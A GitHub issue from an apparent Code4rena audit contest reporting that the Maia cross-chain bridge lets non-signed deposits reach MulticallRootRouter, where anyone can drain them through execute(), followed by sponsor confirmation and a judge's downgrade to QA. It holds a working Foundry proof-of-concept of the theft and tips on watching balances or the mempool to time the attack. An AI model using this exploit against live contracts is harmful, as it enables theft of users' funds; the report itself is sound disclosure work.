Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Protocol allows non-signed deposits contrary to specs, and these deposits can be stolen #685

Open
c4-submissions opened this issue Oct 6, 2023 · 12 comments
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-a primary issue Highest quality submission among a set of duplicates QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L209-L228
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L507
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgentExecutor.sol#L96-L105
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L202-L211

Vulnerability details

There are basically 3 types of transactions in this protocol:

  • non-deposit transactions

  • non-signed deposit transactions

  • signed deposit transactions

We will be focusing on deposit transactions at the moment. Signed deposit transactions contain the msg.sender parameter in the payload and use the msg.sender's virtual account as the recipient in the root environment. non-signed deposit transactions don't contain this info, and the recipient in the root is the corresponding MulticallRootRouter contract.

non-signed deposit transactions are not allowed in this protocol, and the MulticallRootRouter contract should always revert if a non-signed deposit is made according to the current implementation. This is also mentioned by the sponsor in the contest channel on Discord:
quote

However, users can indeed deposit tokens to the root with a non-signed transaction and those funds will be transferred to the router contract, instead of the user's virtual account.

Let's examine the transaction flow in the non-signed callOutAndBridge() function in the BranchBridgeAgent.sol (We'll also mention the signed counterpart during this):
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L209C1-L228C6

    function callOutAndBridge(
        address payable _refundee,
-->     bytes calldata _params, //@audit this is the data to execute in the router. This can be empty
        DepositInput memory _dParams,
        GasParams calldata _gParams
    ) external payable override lock {
        //Cache Deposit Nonce
        uint32 _depositNonce = depositNonce;

        //Encode Data for cross-chain call.
        bytes memory payload = abi.encodePacked(
            bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params
        );

        //Create Deposit and Send Cross-Chain request
        _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

        //Perform Call
        _performCall(_refundee, payload, _gParams);
    }

This function takes some parameters, encodes them, creates a deposit and performs cross-chain action. The bytes calldata _params parameter is the calldata that will be performed in the root. It will be executed in MulticallRootRouter for this non-signed function. (It would be executed in VirtualAccount in the signed counterpart)

This parameter can be empty. Users are not obligated to provide data to this function. For example, in the signed counterpart, if the user only wants to deposit funds to their virtual account but does not want to execute any action on the root environment, they can leave it blank and this will deposit funds to the user's virtual account.

However, funds will be deposited to the router if the _params is empty in the non-signed deposit function. The transaction does not revert as intended in the first place. Here is why:

  1. callOutAndBridge() is called with empty _params in the branch bridge agent.

  2. payload is created with 0x02 flag and the cross-chain call is performed.

    file: BranchBridgeAgent.sol 
           bytes memory payload = abi.encodePacked(
                bytes1(0x02), _depositNonce, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit, _params
            );
  3. payload is received in the root bridge agent, with 0x02 flag.

  4. RootBridgeAgentExecutor will be called with executeWithDeposit.selector, and localRouterAddress

    file: RootBridgeAgent.sol
    -->     } else if (_payload[0] == 0x02) {
                
                //... skipped for brevity
                // Flag 2 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeWithDeposit(localRouterAddress, _payload, _srcChainId)
                _execute(
                    nonce,
                    abi.encodeWithSelector(
    -->                 RootBridgeAgentExecutor.executeWithDeposit.selector, localRouterAddress, _payload, srcChainId
                    ),
                    srcChainId
                );
  5. RootBridgeAgentExecutor will call the _bridgeIn() with the router address and transfer funds to the router.

  6. RootBridgeAgentExecutor will call the router contract to execute additional data if there is additional data.

    file: RootBridgeAgentExecutor.sol 
       function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
            external
            payable
            onlyOwner
        {
            //...skipped for brevity
            // Bridge In Assets
    -->     _bridgeIn(_router, dParams, _srcChainId); //@audit this transfers funds to the router.
    
            // Check if there is additional calldata in the payload
    -->     if (_payload.length > PARAMS_TKN_SET_SIZE) {
                //Execute remote request
    -->         IRouter(_router).executeDepositSingle{value: msg.value}( //@audit this is only called if there is additional data.
                    _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId
                );
            }
        }
  7. MulticallRootRouter will always revert if it is called.

    file: MulticallRootRouter.sol
        function executeDepositSingle(bytes calldata, DepositParams calldata, uint16) external payable override {
            revert();
        }

The problem is that the RootBridgeAgentExecutor will never call the MulticallRootRouter if there is no additional data. The function that should always revert for security reasons is not called at all, and will not revert, and the funds will be deposited to the router contract even though it was a non-signed deposit function.


Alright, I know it's already quite a long submission but we are not done yet. It was only the beginning, and now, it's time to steal those funds from the router contract :)

Normally, router contracts are not expected to hold funds (But we already proved that funds can be deposited to routers above). They are just routers that take funds from one contract and move to another during the same transaction execution.

MutlicallRootRouter has 7 different execute functions of which three of them always revert when called: executeResponse(), executeDepositSingle(), executeDepositMultiple(). The other 4 functions implemented and don't revert are:

  • execute()

  • executeSigned()

  • executeSignedDepositSingle()

  • executeSignedDepositMultiple()

All of these functions will call _approveAndCallOut or _approveMultipleAndCallOut, and these functions will transfer funds from the root environment to branches. You can see that three of the 4 functions above are signed functions. What is the transaction flow when these are called?

In these three signed functions, the funds are withdrawn from the user's virtual account to the router and then sent to the rootPort.
The fund flow is: User's virtual account -> router -> root port

file: MulticallRootRouter.sol
    function executeSigned(bytes calldata encodedData, address userAccount, uint16)
        external
        payable
        override
        lock
        requiresExecutor
    {
        /// Skipped for brevity            

        } else if (funcId == 0x02) {
            // Decode Params
            (Call[] memory calls, OutputParams memory outputParams, uint16 dstChainId, GasParams memory gasParams) =
                abi.decode(_decode(encodedData[1:]), (Call[], OutputParams, uint16, GasParams));

            // Make requested calls
            IVirtualAccount(userAccount).call(calls);

            // Withdraw assets from Virtual Account
-->         IVirtualAccount(userAccount).withdrawERC20(outputParams.outputToken, outputParams.amountOut); //@audit funds are taken from the user's account

            // Bridge Out assets
-->         _approveAndCallOut( //@audit Funds will be sent to the root port during this transaction when bridging out.
                IVirtualAccount(userAccount).userAddress(),
                outputParams.recipient,
                outputParams.outputToken,
                outputParams.amountOut,
                outputParams.depositOut,
                dstChainId,
                gasParams
            );
            
           // Skipped for brevity

All the time when a signed function is triggered in this router, funds are taken from the user's virtual account and transferred to the root port during bridge out.

However, this is not the case when the execute() function is called. This non-signed execute() function is triggered when the call is made without deposit (You remember the 3 function types we mentioned above in the beginning, right?). This execute() function does not take funds from any user or any virtual account, funds are directly transferred from the router to rootPort
The fund flow here is: router -> root port

Let's check the execute() function:
https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L137C1-L200C6

file: MulticallRootRouter.sol
    function execute(bytes calldata encodedData, uint16) external payable override lock requiresExecutor {
        // Parse funcId
        bytes1 funcId = encodedData[0];
        
        //------- Skipped for brevity --------------
            /// FUNC ID: 2 (multicallSingleOutput)
        } else if (funcId == 0x02) {
            // Decode Params
            (
                IMulticall.Call[] memory callData,
                OutputParams memory outputParams,
                uint16 dstChainId,
                GasParams memory gasParams
            ) = abi.decode(_decode(encodedData[1:]), (IMulticall.Call[], OutputParams, uint16, GasParams));

            // Perform Calls
            _multicall(callData);

            // Bridge Out assets
            _approveAndCallOut( //@audit this is called with user input without removing funds from the user. Funds are directly sent from the router
                outputParams.recipient,
                outputParams.recipient,
                outputParams.outputToken,
                outputParams.amountOut,
                outputParams.depositOut,
                dstChainId,
                gasParams
            );

       // ---------------- Skipped for brevity --------------

As you can see above this function also calls the _approveAndCallOut to bridge funds out, and all the outputParams parameters are user-provided. A malicious user can transfer all the funds from the router.

This may seem innocent with the assumption that the routers will never store funds. But as we mentioned above, this is not true and routers can have deposited funds, and anyone can steal them by triggering the execute() function. An attacker can trigger this function by calling the BranchBridgeAgent::callOut() function without deposit and with correct calldata. Down below, we provide a coded PoC with attack parameters that proves everything we explained above.

Because of the root environment is Arbitrum, attackers can track if they can steal funds in two ways:

  1. They can create a bot and regularly check the balance of the MulticallRootRouter in the root chain, and initiate the attack when this contract holds funds

  2. They can watch the source chains with mempool, and initiate the attack if they see a non-signed deposit function called with empty _params.

Impact

  • Deposits with non-signed deposit transactions don't revert as expected and users can deposit funds to the MulticallRootRouter.

  • Attackers can steal these deposited funds from the MulticallRootRouter contract.

Proof of Concept

Coded PoC

You can use the protocol's own test setup to prove this issue.
- Copy and paste the code snippet below to the RootTest.t.sol test file.
- Run it with forge test --match-test testCallOutWithDeposit_nonSigned_withEmptyData_and_StealFromRouter

   function testCallOutWithDeposit_nonSigned_withEmptyData_and_StealFromRouter() public {
        // Set up
        testAddLocalTokenArbitrum();

//--------------------------------FIRST PART: USER DEPOSITING TO THE ROOT ROUTER WITH EMPTY DATA----------------------------------------------
        // Prepare data
        address outputToken;
        uint256 amountOut;
        uint256 depositOut;
        bytes memory packedData;

        // Get some gas.
        hevm.deal(address(this), 1 ether);

        // Mint Underlying Token.
        arbitrumMockToken.mint(address(this), 100 ether);

        // Approve spend by router
        arbitrumMockToken.approve(address(arbitrumPort), 100 ether);

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(newArbitrumAssetGlobalAddress),
            token: address(arbitrumMockToken),
            amount: 100 ether,
            deposit: 100 ether
        });

        // Call non-signed deposit function
        // packedData is empty
        arbitrumMulticallBridgeAgent.callOutAndBridge{value: 1 ether}(
            payable(address(this)), packedData, depositInput, GasParams(0.5 ether, 0.5 ether)
        );

        // Test If Deposit was successful
        testCreateDepositSingle(
            arbitrumMulticallBridgeAgent,
            uint32(1),
            address(this),
            address(newArbitrumAssetGlobalAddress),
            address(arbitrumMockToken),
            100 ether,
            100 ether,
            GasParams(0.5 ether, 0.5 ether)
        );

        // Check if the transaction executed with empty data. 
        // User balance of underlying token in the branch is 0. Branch port balance is 100. Funds deposited to the branch port.
        console2.log("User Balance:", MockERC20(arbitrumMockToken).balanceOf(address(this)));
        assertEq(MockERC20(arbitrumMockToken).balanceOf(address(this)), 0);
        assertEq(MockERC20(arbitrumMockToken).balanceOf(address(arbitrumPort)), 100 ether);

        // Assets will be transferred to the rootRouter in the root environment even though it is a non-signed function.
        // MulticallRootRouter balance of the global token in the root is 100.
        address rootRouter = multicallBridgeAgent.localRouterAddress();
        console2.log("Root Router Balance:", MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter));
        assertEq(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter), 100 ether);

//-----------------------------------SECOND PART: ATTACKER STEALS TOKENS FROM THE ROOT ROUTER----------------------------------
        
        address attacker = address(bytes20(bytes32("attacker")));
        // prepare data. Aim is to call "execute" function in the MulticallRootRouter with flag 0x02.
        {
            outputToken = newArbitrumAssetGlobalAddress;
            amountOut = 100 ether;
            depositOut = 0;
            Multicall2.Call memory call; // No need to call omniChain dApp in here. It is empty data.

            // Output Params -> recipient is attacker
            OutputParams memory outputParams = OutputParams(attacker, outputToken, amountOut, depositOut);

            //dstChainId
            uint16 dstChainId = rootChainId;

            // RLP Encode Calldata - This will be the data that will be executed in the MulticallRootRouter "execute"
            bytes memory data = abi.encode(call, outputParams, dstChainId, GasParams(0.5 ether, 0.5 ether));

            // Pack FuncId - 0x02 will be "multicallSingleOutput" in the MulticallRootRouter "execute" function
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        // Give some gas to the attacker
        hevm.deal(attacker, 1 ether);

        uint256 rootRouterBalanceBefore = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter);
        uint256 attackerBalanceBefore = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(attacker);
        
        // Attacker will start attack by calling "callOut()" (no deposit) -> It will trigger "execute" in MulticallRootRouter with attacker provided outputParams
        hevm.startPrank(attacker);
        arbitrumMulticallBridgeAgent.callOut{value: 1 ether}(
            payable(attacker), packedData, GasParams(0.5 ether, 0.5 ether)
        );
        hevm.stopPrank();

        uint256 rootRouterBalanceAfter = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouter);
        uint256 attackerBalanceAfter = MockERC20(newArbitrumAssetGlobalAddress).balanceOf(attacker);
        
        // Root Router balance will be 0 in the root environment and the tokens will be sent to the attacker in the branch.
        console2.log("Root Router Balance Before: ", rootRouterBalanceBefore);        
        console2.log("Attacker Balance Before:", attackerBalanceBefore);
        console2.log("Root Router Balance After: ", rootRouterBalanceAfter);        
        console2.log("Attacker Balance After:", attackerBalanceAfter);

        assertEq(rootRouterBalanceBefore, 100 ether);
        assertEq(attackerBalanceBefore, 0);
        assertEq(rootRouterBalanceAfter, 0);
        assertEq(attackerBalanceAfter, 100 ether);
    }

Here are the test results:

Running 1 test for test/ulysses-omnichain/RootTest.t.sol:RootTest
[PASS] testCallOutWithDeposit_nonSigned_withEmptyData_and_StealFromRouter() (gas: 5800893)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 38.74ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manuel review, Foundry

Recommended Mitigation Steps

There are a few things we would like to recommend. The first one is for preventing non-signed deposits.

Calling these deposit functions with empty _params data is allowed. This is absolutely okay for signed deposit functions and should be allowed because it will transfer funds to the user's virtual account if they don't want to execute anything in the destination chain.
However, calling non-signed deposit functions with empty _params should not be allowed since there is no recipient encoded in these functions and empty _params data will cause a loss of funds for the user.

In terms of preventing stealing from the router, we can recommend not bridging funds out with the simple "execute()" function. Bridging out should only be done with signedExecute() or other signed functions.

Assessed type

Invalid Validation

@c4-submissions c4-submissions added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Oct 6, 2023
c4-submissions added a commit that referenced this issue Oct 6, 2023
@c4-pre-sort c4-pre-sort added the primary issue Highest quality submission among a set of duplicates label Oct 13, 2023
@c4-pre-sort
Copy link

0xA5DF marked the issue as primary issue

@c4-pre-sort c4-pre-sort added the sufficient quality report This report is of sufficient quality label Oct 13, 2023
@c4-pre-sort
Copy link

0xA5DF marked the issue as sufficient quality report

@0xA5DF
Copy link

0xA5DF commented Oct 13, 2023

Leaving open for sponsor to review this

@c4-sponsor
Copy link

0xBugsy (sponsor) confirmed

@0xBugsy
Copy link

0xBugsy commented Oct 17, 2023

Since this functions are essential to the system utility we won't remove them but we will add the no calldata execution flow for example:

 else {
            //Execute remote request
            IRouter(_router).executeDepositMultiple{value: msg.value}("", dParams, _srcChainId);
        }

@alcueca
Copy link

alcueca commented Oct 25, 2023

As I understand it:

  • Routers are not expected to hold assets between transactions, therefore users are not expected to send assets to Routers for safekeeping. That's what Ports are for.
  • The specifications include that there will be no non-signed deposits. One can infer that it wouldn't be recommended to attempt them.
  • Attempting a non-signed deposit, without telling the Router what to do with it, doesn't revert. The deposit just stays in the Router.

The code is wrong in not following the specifications, but the users are also wrong in not following instructions. Only the funds from offending users are at risk, and the outcome is not surprising. There are no funds at risk for users that make no mistakes (using the UI or simulating their transactions, in other words), and functionality is not impacted.

Therefore, this is QA

@alcueca
Copy link

alcueca commented Oct 25, 2023

Screenshotting duplicates in case my judging is reverted:
image
image

@c4-judge c4-judge removed the 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value label Oct 25, 2023
@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax labels Oct 25, 2023
@c4-judge
Copy link
Contributor

alcueca changed the severity to QA (Quality Assurance)

@c4-judge
Copy link
Contributor

alcueca marked the issue as grade-a

@osmanozdemir1
Copy link

osmanozdemir1 commented Oct 30, 2023

Hi @alcueca,

As my understanding, users are not explicitly discouraged to perform non-signed deposits.
I couldn’t find a suggestion in the docs like “Users should not call non-signed deposit functions”. Only thing I could find (in discord) was “We didn't implement router functions to allow unsigned deposits...” and to me it sounds like “Users can’t deposit even if they try to perform a non-signed deposit because we implemented these functions in a way that it always reverts.”
Therefore I do believe this is more like a lack of protection rather than a user mistake, and would like to hear your opinions.

There is also another thing I would like to mention. This is not important if the issue stays as a QA, but if it gets validated as medium, I think the issue #898 and its duplicates should be considered as partial-50 as they only explain the issue up until sending funds to the router but don’t mention the second part, which is stealing from the router.

Thanks,

@stalinMacias
Copy link

stalinMacias commented Oct 31, 2023

Hey @alcueca

I'd like to add to what @osmanozdemir1 has already mentioned, apart from all the points he already brought up to the table, there is another group of issues that was marked as a duplicate of this one, the ones about ETH stuck if 0 calldata was passed, from my perspective, that is a separate issue, since to make deposits it is not required to pass ETH (the issue described in this report), and the fact that a user sends ETH with 0 calldata, that looks to me like a self wrecking behavior, thus, I do agree those ones should be classified as QAs, but they should not be a duplicate of this report, all of them looks to me like are a different issue that's a QA

Thanks for reading me, hope my comments help to get to a resolution for this issue.

@alcueca
Copy link

alcueca commented Oct 31, 2023

Look at this function signature:

    function callOutAndBridge(
        address payable _refundee,
        bytes calldata _params,
        DepositInput memory _dParams,
        GasParams calldata _gParams
    )    

How is a user expected to call that?

Not all contracts are made to accept raw calls from end users. Some contracts are designed to be interacted with only by frontend or smart contract developers, which will be expected to be more careful with what they do. In this case, the smart contracts are full of footguns, and make zero effort to be usable by end users. To me “We didn't implement router functions to allow unsigned deposits...” sounds like "if you try doing that, something unexpected might happen".

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue grade-a primary issue Highest quality submission among a set of duplicates QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax sponsor confirmed Sponsor agrees this is a problem and intends to fix it (OK to use w/ "disagree with severity") sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

9 participants